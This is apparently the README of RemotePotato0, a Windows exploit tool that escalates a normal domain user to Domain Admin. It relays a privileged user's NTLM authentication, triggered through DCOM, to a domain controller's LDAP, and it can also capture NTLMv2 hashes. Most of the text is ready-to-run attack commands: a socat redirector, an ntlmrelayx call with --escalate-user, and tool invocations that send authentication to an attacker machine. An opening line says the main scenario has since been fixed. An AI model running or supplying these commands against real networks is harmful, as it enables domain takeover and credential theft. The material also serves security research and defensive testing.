UPDATE 21-10-2022: The main exploit scenario RPC->LDAP of RemotePotato0 has been fixed. More details at --> https://twitter.com/splinter_code/status/1583555613950255104
Just another "Won't Fix" Windows Privilege Escalation from User to Domain Admin.
RemotePotato0 is an exploit that allows you to escalate your privileges from a generic User to Domain Admin.
Briefly:
It abuses the DCOM activation service and trigger an NTLM authentication of any user currently logged on in the target machine. It is required that a privileged user is logged on the same machine (e.g. a Domain Admin user). Once the NTLM type1 is triggered we setup a cross protocol relay server that receive the privileged type1 message and relay it to a third resource by unpacking the RPC protocol and packing the authentication over HTTP. On the receiving end you can setup a further relay node (eg. ntlmrelayx) or relay directly to a privileged resource. RemotePotato0 also allows to grab and steal NTLMv2 hashes of every users logged on a machine.
Examples
Attacker machine (10.0.0.20)
Victim machine (10.0.0.45)
Victim Domain Controller (10.0.0.10)
Module 0 - Rpc2Http cross protocol relay server + potato trigger
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.0.0.45:9999 &
sudo ntlmrelayx.py -t ldap://10.0.0.10 --no-wcf-server --escalate-user normal_user
Note: if you are on Windows Server <= 2016 you can avoid the network redirector (socat) because the oxid resolution can be performed locally.
query user
.\RemotePotato0.exe -m 0 -r 10.0.0.20 -x 10.0.0.20 -p 9999 -s 1
Module 1 - Rpc2Http cross protocol relay server
.\RemotePotato0.exe -m 1 -l 9997 -r 10.0.0.20
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm
Module 2 - Rpc capture (hash) server + potato trigger
query user
.\RemotePotato0.exe -m 2 -s 1
Module 3 - Rpc capture (hash) server
.\RemotePotato0.exe -m 3 -l 9997
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm
